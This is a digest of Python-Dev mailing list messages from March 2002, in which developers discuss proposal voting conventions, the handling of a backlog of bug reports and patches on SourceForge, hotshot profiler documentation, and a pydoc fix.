From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 07 Mar 2002 12:13:51 -0500
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <HFEKILOLEFEFMKAECNDLIEIDDHAA.jason@jorendorff.com>
Message-ID: <web-3681244@digicool.com>

On Wed, 6 Mar 2002 23:38:56 -0600
 "Jason Orendorff" <jason@jorendorff.com> wrote:
> > Before I send generator comprehension portion to Guido
> for
> > pronouncement, I would like to get all of your votes +1
> or -1
> > on just the part about Generator Comprehensions.
> 
> -1     but not for a Good Reason - it just doesn't grab
> me.

I'm puzzled by this vote.  I did not know that people took
random votes of Python developers in advance of a PEP.  To
paraphrase the IETF:  I don't believe in votes, just rough
consensus and running code.

If we are going to vote, please keep in mind the intended
meaning of votes:

+1, I endorse
0, I don't endorse
-1, I veto; this proposal will get in over my dead body

Don't veto unless you feel strongly.  If you veto lots of
things, Guido might end up ignoring your vetos <wink>.

don't-think-you-can-veto-a-PDFL-pronouncement-ly y'rs,
Jeremy


From jeremy@zope.com  Thu Mar  7 17:15:06 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 07 Mar 2002 12:15:06 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <012501c1c5bc$31236010$0900a8c0@spiff>
Message-ID: <web-3681256@digicool.com>

On Thu, 7 Mar 2002 10:40:58 +0100
 "Fredrik Lundh" <fredrik@pythonware.com> wrote:
> guido wrote:
> > Jeremy has a script to send out reminders to everyone
> that he
> > used to run weekly, but it doesn't seem to have any
> effect on the
> > speed with which people look at bugs.
> 
> fwiw, I wouldn't mind if he started running it again...

If I ever get a machine with a permananet internet
connection run by a moderately competent ISP, I'll set it up
as a cron job.

Jeremy


From mwh@python.net  Thu Mar  7 17:16:08 2002
From: mwh@python.net (Michael Hudson)
Date: 07 Mar 2002 17:16:08 +0000
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: "Jeremy Hylton"'s message of "Thu, 07 Mar 2002 11:35:41 -0500"
References: <web-3680919@digicool.com>
Message-ID: <2mwuwoguxz.fsf@starship.python.net>

"Jeremy Hylton" <jeremy@zope.com> writes:

> On 07 Mar 2002 15:15:29 +0000
>  Michael Hudson <mwh@python.net> wrote:
> > How would one implement this?  A screen-scraper?  Does
> > someone have
> > one already written?
> 
> I have a mostly complete screen scraper:
>     https://sourceforge.net/projects/sftools/
> 
> As I recall, the SF project is broken because the
> permissions are wrong in the CVS repository.  I can submit
> an admin request for that to happen.

Either that was quick work, or it wasn't broken.  Anyway, I checked it
out, installed ZODB, ran

$ python loadbugs.py

and it dumped core (!).

Does ZODB not work with 2.2?

Cheers,
M.

-- 
  It's actually a corruption of "starling".  They used to be carried.
  Since they weighed a full pound (hence the name), they had to be
  carried by two starlings in tandem, with a line between them.
                 -- Alan J Rosenthal explains "Pounds Sterling" on asr


From jeremy@zope.com  Thu Mar  7 17:20:20 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 07 Mar 2002 12:20:20 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <15495.39266.904091.73767@grendel.zope.com>
Message-ID: <web-3681310@digicool.com>

On Thu, 7 Mar 2002 11:46:26 -0500
 "Fred L. Drake, Jr." <fdrake@acm.org> wrote:
> 
> Jeremy Hylton writes:
>  > I have a mostly complete screen scraper:
>  >     https://sourceforge.net/projects/sftools/
>  > 
>  > As I recall, the SF project is broken because the
>  > permissions are wrong in the CVS repository.  I can
> submit
>  > an admin request for that to happen.
> 
> Yes indeed!  No one can help with the project if you
> don't get it set
> up so we can.

Is it possible to do a checkout?

If it isn't, maybe it's just easier to check this code into
the nondist branch of the Python project.

Jeremy


From jeremy@zope.com  Thu Mar  7 17:22:37 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 07 Mar 2002 12:22:37 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <2mwuwoguxz.fsf@starship.python.net>
Message-ID: <web-3681323@digicool.com>

On 07 Mar 2002 17:16:08 +0000
 Michael Hudson <mwh@python.net> wrote:
> "Jeremy Hylton" <jeremy@zope.com> writes:
> 
> > On 07 Mar 2002 15:15:29 +0000
> >  Michael Hudson <mwh@python.net> wrote:
> > > How would one implement this?  A screen-scraper?
> Does
> > > someone have
> > > one already written?
> > 
> > I have a mostly complete screen scraper:
> >     https://sourceforge.net/projects/sftools/
> > 
> > As I recall, the SF project is broken because the
> > permissions are wrong in the CVS repository.  I can
> submit
> > an admin request for that to happen.
> 
> Either that was quick work, or it wasn't broken.  Anyway,
> I checked it
> out, installed ZODB, ran
> 
> $ python loadbugs.py
> 
> and it dumped core (!).
> 
> Does ZODB not work with 2.2?

ZODB should work with 2.2.  Are you running StandaloneZODB
1.0?

Can you send me a C stack trace?

Jeremy


From barry@zope.com  Thu Mar  7 17:22:18 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 7 Mar 2002 12:22:18 -0500
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
References: <HFEKILOLEFEFMKAECNDLIEIDDHAA.jason@jorendorff.com>
 <web-3681244@digicool.com>
Message-ID: <15495.41418.792811.315108@anthem.wooz.org>

>>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:

    JH> I'm puzzled by this vote.  I did not know that people took
    JH> random votes of Python developers in advance of a PEP.  To
    JH> paraphrase the IETF:  I don't believe in votes, just rough
    JH> consensus and running code.

It's like "Who's Line Is It Anyway?"; the points don't matter. :)

    JH> If we are going to vote, please keep in mind the intended
    JH> meaning of votes:

    | +1, I endorse
    | 0, I don't endorse
    | -1, I veto; this proposal will get in over my dead body

Actually, it's +1, +0, -0, -1, with the sign of the 0 "vote" giving
the direction of your lean on the non-endorsement.

BTW, does anybody have a reference to where this voting system
originated or where it's been spelled out elegantly?  I want to write
a short informatinal PEP on it for posterity.  I vaguely remember it
started in the Apache world and Greg Stein transported it here.

-Barry


From akuchlin@mems-exchange.org  Thu Mar  7 17:26:24 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Thu, 7 Mar 2002 12:26:24 -0500
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <15495.41418.792811.315108@anthem.wooz.org>
References: <HFEKILOLEFEFMKAECNDLIEIDDHAA.jason@jorendorff.com> <web-3681244@digicool.com> <15495.41418.792811.315108@anthem.wooz.org>
Message-ID: <20020307172624.GA23579@ute.mems-exchange.org>

On Thu, Mar 07, 2002 at 12:22:18PM -0500, Barry A. Warsaw wrote:
>BTW, does anybody have a reference to where this voting system
>originated or where it's been spelled out elegantly?  I want to write

Apache, I believe.  I describe this scheme in the python-dev HOWTO, so
feel free to steal text from there.

(Yet another reason to include HOWTOs in the main distro; no one else
knows they exist...)

--amk                                                             (www.amk.ca)
And I'd be a Libertarian, if they weren't all a bunch of tax-dodging
professional whiners.
    -- Berke Breathed, in an interview by _The Onion_


From guido@python.org  Thu Mar  7 17:46:10 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 07 Mar 2002 12:46:10 -0500
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: Your message of "Thu, 07 Mar 2002 12:22:18 EST."
 <15495.41418.792811.315108@anthem.wooz.org>
References: <HFEKILOLEFEFMKAECNDLIEIDDHAA.jason@jorendorff.com> <web-3681244@digicool.com>
 <15495.41418.792811.315108@anthem.wooz.org>
Message-ID: <200203071746.g27HkAG24149@pcp742651pcs.reston01.va.comcast.net>

>     JH> If we are going to vote, please keep in mind the intended
>     JH> meaning of votes:
> 
>     | +1, I endorse
>     | 0, I don't endorse
>     | -1, I veto; this proposal will get in over my dead body

Hm, I didn't realize -1 meant veto (except when coming from me :-).  I
do tend to take -1 votes seriously, *if* the -1 voter has an
explanation to offer.  In general, without motivation a vote doesn't
count for me, which is why the current vote is meaningless.  "95
percent of doctors prescribe Zaltrec!"  Who cares?

> Actually, it's +1, +0, -0, -1, with the sign of the 0 "vote" giving
> the direction of your lean on the non-endorsement.
> 
> BTW, does anybody have a reference to where this voting system
> originated or where it's been spelled out elegantly?  I want to write
> a short informatinal PEP on it for posterity.  I vaguely remember it
> started in the Apache world and Greg Stein transported it here.

That's all I know.  Greg might know more but you probably have to
write him a personal note.  Anyway, even without a reference, it's a
good idea to write it up.  Maybe you'll be the first!

--Guido van Rossum (home page: http://www.python.org/~guido/)



From skip@pobox.com  Thu Mar  7 17:56:02 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 11:56:02 -0600
Subject: [Python-Dev] missing a lightning talk
In-Reply-To: <20020307144634.GA23448@ute.mems-exchange.org>
References: <15495.30454.536932.803128@12-248-41-177.client.attbi.com>
 <20020307144634.GA23448@ute.mems-exchange.org>
Message-ID: <15495.43442.401834.725898@beluga.mojam.com>

    >> Does anyone recall who and what I'm referring to?  As an added plus,
    >> do you have contact info?  If nothing else, I'd like to get it added
    >> to the above page.

    Andrew> Kapil Thangavelu's Gideon.
    Andrew> (http://www.zope.org/Members/k_vertigo/Products/Gideon) A
    Andrew> prototype server is at http://66.123.57.58:8080 .

Thanks, I added a minimalist blurb to the lightning page and sent a note to
Kapil asking for his inputs.

Skip


From fredrik@pythonware.com  Thu Mar  7 17:58:03 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Thu, 7 Mar 2002 18:58:03 +0100
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
References: <HFEKILOLEFEFMKAECNDLIEIDDHAA.jason@jorendorff.com> <web-3681244@digicool.com>              <15495.41418.792811.315108@anthem.wooz.org>  <200203071746.g27HkAG24149@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <00e101c1c601$a2d54f80$ced241d5@hagrid>

guido wrote:

> >     | +1, I endorse
> >     | 0, I don't endorse
> >     | -1, I veto; this proposal will get in over my dead body
> 
> Hm, I didn't realize -1 meant veto (except when coming from me :-).  I
> do tend to take -1 votes seriously, *if* the -1 voter has an
> explanation to offer.

the Apache voting rules can be found here:

    http://httpd.apache.org/dev/guidelines.html

from what I can tell, python-dev is operating in "majority"
or "lazy" mode most of the times.

lazy-ly yrs /F



From trentm@ActiveState.com  Thu Mar  7 18:06:18 2002
From: trentm@ActiveState.com (Trent Mick)
Date: Thu, 7 Mar 2002 10:06:18 -0800
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Wed, Mar 06, 2002 at 05:43:55PM -0500
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020307100618.B10730@ActiveState.com>

[Guido van Rossum wrote]
> I would certainly like to see more applications from people interested
> in getting developer status, even if it means I'll have to do
> semi-formal "interviews" or reference checks myself.  How can we
> encourage the good developers that exist to help?
> 

Perhaps many just don't know how to "join the club". If I had not been
working with David and Mark I would not have picked up on the development
system very easily.

I don't read any of the intro documentation so that may have improved in the
past couple of years but an indication that it has not is that:
    (1) The "for developers" section on http://www.python.org/ is kind of
        buried and weeny (and outdated: "including the Python 2.1 release
        schedule"); and
    (2) Andrew's "Becoming a Python Developer" is hard to find:
        http://www.amk.ca/python/writing/python-dev.html

Trent

-- 
Trent Mick
TrentM@ActiveState.com


From andymac@bullseye.apana.org.au  Thu Mar  7 11:44:08 2002
From: andymac@bullseye.apana.org.au (Andrew MacIntyre)
Date: Thu, 7 Mar 2002 22:44:08 +1100 (EDT)
Subject: [Python-Dev] hotshot docs?
Message-ID: <Pine.OS2.4.32.0203072234440.84-100000@tenring.andymac.org>

do they exist?  I haven't found anything in the CVS tree, and I'm finding
the docstrings and source not overly illuminating.

I seem to have successfully created a profile dump, but I'm not making any
progress getting the statistics out of it :-(  I'm particularly after line
by line time distribution stats for a particular function.

pointers?

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac@bullseye.apana.org.au  | Snail: PO Box 370
        andymac@pcug.org.au            |        Belconnen  ACT  2616
Web:    http://www.andymac.org/        |        Australia



From nas@python.ca  Thu Mar  7 18:24:48 2002
From: nas@python.ca (Neil Schemenauer)
Date: Thu, 7 Mar 2002 10:24:48 -0800
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <20020307100618.B10730@ActiveState.com>; from trentm@ActiveState.com on Thu, Mar 07, 2002 at 10:06:18AM -0800
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <20020307100618.B10730@ActiveState.com>
Message-ID: <20020307102448.B3043@glacier.arctrix.com>

Trent Mick wrote:
>     (2) Andrew's "Becoming a Python Developer" is hard to find:
>         http://www.amk.ca/python/writing/python-dev.html

There should be a link to it from http://python.sourceforge.net/, IMHO.

  Neil


From fdrake@acm.org  Thu Mar  7 18:24:21 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Thu, 7 Mar 2002 13:24:21 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <20020307102448.B3043@glacier.arctrix.com>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <20020307100618.B10730@ActiveState.com>
 <20020307102448.B3043@glacier.arctrix.com>
Message-ID: <15495.45141.185872.82179@grendel.zope.com>

Neil Schemenauer writes:
 > There should be a link to it from http://python.sourceforge.net/, IMHO.

The HTML for python.sourceforge.net is in the CVS tree; feel free to
fix it.  ;-)


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From aahz@rahul.net  Thu Mar  7 18:29:08 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Thu, 7 Mar 2002 10:29:08 -0800 (PST)
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <20020307100618.B10730@ActiveState.com> from "Trent Mick" at Mar 07, 2002 10:06:18 AM
Message-ID: <20020307182909.20B42E8C3@waltz.rahul.net>

Trent Mick wrote:
> 
> Perhaps many just don't know how to "join the club". If I had not been
> working with David and Mark I would not have picked up on the development
> system very easily.
> 
> I don't read any of the intro documentation so that may have improved in the
> past couple of years but an indication that it has not is that:
>     (1) The "for developers" section on http://www.python.org/ is kind of
>         buried and weeny (and outdated: "including the Python 2.1 release
>         schedule"); and
>     (2) Andrew's "Becoming a Python Developer" is hard to find:
>         http://www.amk.ca/python/writing/python-dev.html

Yes, I know.  One of the items on my ToDo list is to make this somewhat
more accessible.  If someone else gets to this before me, I won't
complain, of course.
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From aahz@rahul.net  Thu Mar  7 18:30:12 2002
From: aahz@rahul.net (Aahz Maruch)
Date: Thu, 7 Mar 2002 10:30:12 -0800 (PST)
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <web-3681256@digicool.com> from "Jeremy Hylton" at Mar 07, 2002 12:15:06 PM
Message-ID: <20020307183012.14397E8C3@waltz.rahul.net>

Jeremy Hylton wrote:
> 
> If I ever get a machine with a permananet internet connection run by a
> moderately competent ISP, I'll set it up as a cron job.

If this is worth $100/year to you, get an account on Panix.
-- 
                      --- Aahz (@pobox.com)

Hugs and backrubs -- I break Rule 6       <*>       http://www.rahul.net/aahz/
Androgynous poly kinky vanilla queer het Pythonista

We must not let the evil of a few trample the freedoms of the many.


From skip@pobox.com  Thu Mar  7 18:59:28 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 12:59:28 -0600
Subject: [Python-Dev] hotshot docs?
In-Reply-To: <Pine.OS2.4.32.0203072234440.84-100000@tenring.andymac.org>
References: <Pine.OS2.4.32.0203072234440.84-100000@tenring.andymac.org>
Message-ID: <15495.47248.276326.904823@beluga.mojam.com>

    Andrew> do they exist?  I haven't found anything in the CVS tree, and
    Andrew> I'm finding the docstrings and source not overly illuminating.

I haven't seen any.  If you can read PowerPoint, Fred's slides from his
IPC10 talk are at

    http://starship.python.net/crew/fdrake/talks/IPC10-HotShot-2002-Feb-06.ppt

Skip



From martin@v.loewis.de  Thu Mar  7 19:09:34 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 07 Mar 2002 20:09:34 +0100
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203071427.g27ERh523095@pcp742651pcs.reston01.va.comcast.net>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
 <200203070224.g272OGv18565@pcp742651pcs.reston01.va.comcast.net>
 <15495.21473.643078.416228@12-248-41-177.client.attbi.com>
 <200203071427.g27ERh523095@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3eliwfb4h.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> >  >> I wasn't thinking about it quite like that.  I was thinking more
> >  >> along the lines of a subset of people would volunteer to do the
> >  >> triage, passing it off between themselves at the rotation boundaries.
> >  >> That's more-or-less how Cameron Laird does it for the weekly Python
> >  >> URL stuff.
> > 
> >  Guido> Maybe you'd like to help organize this?
> 
> [Skip]
> > Martin thinks it's unnecessary.  I suspect he pays as much attention to
> > incoming bugs as anyone, so let's pass on this for the time being.
> 
> OK, although at times I've got the feeling that Martin could really
> use some help -- he's doing an admirable job, but it feels thankless...

More help is definitely needed. An official infrastructure "Skip helps
it on Mondays, Tim on Tuesdays" isn't, IMO.

Regards,
Martin


From skip@pobox.com  Thu Mar  7 19:22:45 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 13:22:45 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <m3eliwfb4h.fsf@mira.informatik.hu-berlin.de>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <15494.51077.292219.192496@12-248-41-177.client.attbi.com>
 <200203070224.g272OGv18565@pcp742651pcs.reston01.va.comcast.net>
 <15495.21473.643078.416228@12-248-41-177.client.attbi.com>
 <200203071427.g27ERh523095@pcp742651pcs.reston01.va.comcast.net>
 <m3eliwfb4h.fsf@mira.informatik.hu-berlin.de>
Message-ID: <15495.48645.417072.191255@beluga.mojam.com>

    >> > Martin thinks it's unnecessary.  I suspect he pays as much
    >> > attention to incoming bugs as anyone, so let's pass on this for the
    >> > time being.
    >> 
    >> OK, although at times I've got the feeling that Martin could really
    >> use some help -- he's doing an admirable job, but it feels
    >> thankless...

    Martin> More help is definitely needed. An official infrastructure "Skip
    Martin> helps it on Mondays, Tim on Tuesdays" isn't, IMO.

I *was* thinking about slightly coarser granularity than a daily
rotation. ;-)

Skip



From barry@zope.com  Thu Mar  7 19:27:36 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Thu, 7 Mar 2002 14:27:36 -0500
Subject: [Python-Dev] PEP 10, short and sweet, on Voting Guidelines
Message-ID: <15495.48936.297264.176074@anthem.wooz.org>

http://python.sourceforge.net/peps/pep-0010.html

-Barry


From tim.one@comcast.net  Thu Mar  7 19:43:42 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 07 Mar 2002 14:43:42 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more
 quickly
In-Reply-To: <15495.48645.417072.191255@beluga.mojam.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEDPOCAA.tim.one@comcast.net>

[Skip]
> I *was* thinking about slightly coarser granularity than a daily
> rotation. ;-)

Besides, if it's daily, we'd get bogged down arguing about what to do across
DST changes.  No way *I'm* getting stuck with a 25-hour day <wink>!

already-stuck-with-30-hour-days-ly y'rs  - tim



From skip@pobox.com  Thu Mar  7 23:01:42 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 17:01:42 -0600
Subject: [Python-Dev] pydoc 1.58 - added repr_str
Message-ID: <15495.61782.879804.889384@beluga.mojam.com>

I just checked in pydoc.py 1.58.  The change of type("").__name__ from
"string" to "str" between Python 2.1 and 2.2 busted the special method
lookup in pydoc.HTMLRepr and pydoc.TextRepr.  This belongs in 2.2.1.

SF seems at least mildly busted at the moment.  I wasn't able to search for
bugs containing "pydoc".  I didn't bother filing a bug report.

Skip


From jgardn@alumni.washington.edu  Fri Mar  8 01:21:25 2002
From: jgardn@alumni.washington.edu (Jonathan Gardner)
Date: Fri, 8 Mar 2002 10:21:25 +0900
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>; from guido@python.org on Wed, Mar 06, 2002 at 08:31:09PM -0500
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020308102125.A899@linux.hananet.net>

On Wed, Mar 06, 2002 at 08:31:09PM -0500, Guido van Rossum wrote:
> [Skip]
> > Okay, that got a response!  If bugs are submitted without
> > assignment, we should probably establish a formal triage system.  It
> > could work on a rotating basis (weekly?).  Still, I think there has
> > to be some way to work through new bugs quickly to either get them
> > advanced quickly or ejected from the system.
> 
> Sorry, since we're all volunteers here, I don't see how a formal
> rotation could work.  Since you're a volunteer, I don't feel
> comfortable to tell you to do something.  We all know how to do triage
> on bugs and patches, so I assume that if you have time, you'll do it
> without me telling you so.  SourceForge has plenty of annotation
> capability so there's very little risk of duplicate work.
> 

People volunteer for all kinds of activities and they understand that
there is someone in charge who will give them orders. Of course, they
can refuse the request, but when someone signs on understanding that
they will be told what to do and how to do it, I don't see how telling
them what to do will be a problem.

Someone who is green like me needs the guidance and the mentoring and
the counsel, and the occasional slap on the wrist.

> >     Guido> Playing games with the bug priority to get someone's
> >     Guido> attention is also the wrong thing to do -- only the
> >     Guido> experienced developers should raise the priority of a
> >     Guido> bug, based on its real importance; we have rules like
> >     Guido> "everything priority 7 or higher must be fixed before the
> >     Guido> next release".  (Lowering priority on submission is fine
> >     Guido> of course, if you know you have a low priority bug
> >     Guido> report.)
> > 
> > I don't believe I suggested this as a way to grab peoples'
> > attention.
> 
> No, but Jonathan Gardner did that, and really p*ssed me off (he was
> complaining he didn't get a response to a bug he reported the previous
> evening).
> 

There is a patch that has been unlooked at. It was discussed on c.l.py.,
some people decided it was a bug, and I was told to make a patch and put
it on SF. I did. It has been almost two months now, and there has been
no response. 

#502080 - BaseHTTPServer send_error bug fix
https://sourceforge.net/tracker/?func=detail&aid=502080&group_id=5470&atid=305470

And so I was under the impression that the real bugs weren't handled at
sourceforge, that they were handled somewhere else on some secret
mailing list or some other older dev site in Pythonlabs. I thought only
a few eyes were watching. I thought that it really didn't matter that
much, and so I played games with it.

> > 
> > Well, you could always post an announcement on c.l.py.  I suspect
> > you might have an initial candidate in Jonathan Gardner.  ;-)
> 
> Given the fate of his bug report, I think he may be a little green. :-(
> 

No argument here. Definitely started off on the wrong foot.

Jonathan


From skip@pobox.com  Fri Mar  8 01:18:50 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 7 Mar 2002 19:18:50 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <20020308102125.A899@linux.hananet.net>
References: <q0ph8.54$_Z4.217@news.hananet.net>
 <un0xl4w2a.fsf@python.net>
 <Dsqh8.57$_Z4.284@news.hananet.net>
 <15494.15541.61955.283237@beluga.mojam.com>
 <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net>
 <15494.41305.915915.637479@beluga.mojam.com>
 <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <20020308102125.A899@linux.hananet.net>
Message-ID: <15496.4474.303854.832973@12-248-41-177.client.attbi.com>

    Jonathan> There is a patch that has been unlooked at. It was discussed
    Jonathan> on c.l.py., some people decided it was a bug, and I was told
    Jonathan> to make a patch and put it on SF. I did. It has been almost
    Jonathan> two months now, and there has been no response.

In composing my email to c.l.py today asking for new developers I did a
quick browse of both the bugs and patches on SF.  There are, as I recall,
around 300 open bugs and 150 patches.  About have the bugs and two-thirds of
the patches are not assigned.  I didn't look at the submission dates, but
I'll wager there are more than a few that are more than two months old.

Hence the need for more "processing power".

Skip


From jeremy@zope.com  Fri Mar  8 01:24:36 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 07 Mar 2002 20:24:36 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <15496.4474.303854.832973@12-248-41-177.client.attbi.com>
Message-ID: <web-3684728@digicool.com>

On Thu, 7 Mar 2002 19:18:50 -0600
 Skip Montanaro <skip@pobox.com> wrote:
> 
>     Jonathan> There is a patch that has been unlooked at.
> It was discussed
>     Jonathan> on c.l.py., some people decided it was a
> bug, and I was told
>     Jonathan> to make a patch and put it on SF. I did. It
> has been almost
>     Jonathan> two months now, and there has been no
> response.
> 
> In composing my email to c.l.py today asking for new
> developers I did a
> quick browse of both the bugs and patches on SF.  There
> are, as I recall,
> around 300 open bugs and 150 patches.  About have the
> bugs and two-thirds of
> the patches are not assigned.  I didn't look at the
> submission dates, but
> I'll wager there are more than a few that are more than
> two months old.
> 
> Hence the need for more "processing power".

When we were working on Python 2.0, PythonLabs made a
serious commitment to keep the list of bugs on one page.
Lots of people fixed bugs to achieve that goal, and more
processing power will definitely help.

One other thing that helped was that I spent many hours each
week tracking bugs and making sure someone was working on
them.  I intend to pick that task up again for Python 2.3.
It would be great if there were more developers to lean on
for the bugs.

Jeremy


From guido@python.org  Fri Mar  8 01:41:35 2002
From: guido@python.org (Guido van Rossum)
Date: Thu, 07 Mar 2002 20:41:35 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "Fri, 08 Mar 2002 10:21:25 +0900."
 <20020308102125.A899@linux.hananet.net>
References: <q0ph8.54$_Z4.217@news.hananet.net> <un0xl4w2a.fsf@python.net> <Dsqh8.57$_Z4.284@news.hananet.net> <15494.15541.61955.283237@beluga.mojam.com> <200203062243.g26Mhtl18037@pcp742651pcs.reston01.va.comcast.net> <15494.41305.915915.637479@beluga.mojam.com> <200203070131.g271V9Z18284@pcp742651pcs.reston01.va.comcast.net>
 <20020308102125.A899@linux.hananet.net>
Message-ID: <200203080141.g281fZJ30948@pcp742651pcs.reston01.va.comcast.net>

> Someone who is green like me needs the guidance and the mentoring and
> the counsel, and the occasional slap on the wrist.

I hope other python-dev'ers can help you find your way.

> There is a patch that has been unlooked at. It was discussed on c.l.py.,
> some people decided it was a bug, and I was told to make a patch and put
> it on SF. I did. It has been almost two months now, and there has been
> no response. 

It would have been better to ask about the fate of that bug on
python-dev rather than submit a meta-bug report. :-)

> #502080 - BaseHTTPServer send_error bug fix
> https://sourceforge.net/tracker/?func=detail&aid=502080&group_id=5470&atid=305470

Hm, that one must've fallen between the cracks.  I've approved it and
assigned it to Skip for commitment.

> And so I was under the impression that the real bugs weren't handled
> at sourceforge, that they were handled somewhere else on some secret
> mailing list or some other older dev site in Pythonlabs. I thought
> only a few eyes were watching. I thought that it really didn't
> matter that much, and so I played games with it.

So now you know the truth. :-)

Keep at it though, and you'll be a release manager before you know
it. :-)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Fri Mar  8 02:13:34 2002
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 07 Mar 2002 21:13:34 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more
 quickly
In-Reply-To: <web-3684728@digicool.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net>

[Jeremy Hylton]
> When we were working on Python 2.0, PythonLabs made a
> serious commitment to keep the list of bugs on one page.
> Lots of people fixed bugs to achieve that goal, and more
> processing power will definitely help.

Note that we had full-time jobs working on Python then too.  Well, not
entirely:  at the end of the BeOpen run, all of PythonLabs was unemployed,
so we got to spend 1200% of every day volunteering to finish 2.0.

> One other thing that helped was that I spent many hours each
> week tracking bugs and making sure someone was working on
> them.  I intend to pick that task up again for Python 2.3.
> It would be great if there were more developers to lean on
> for the bugs.

During the times I did that task, I spent about 30 hours per week on bug +
patch triage alone.

It would be hard to overestimate how much concerted effort it would take to
get back to "one page" again; the SF stats (I think only admins can view the
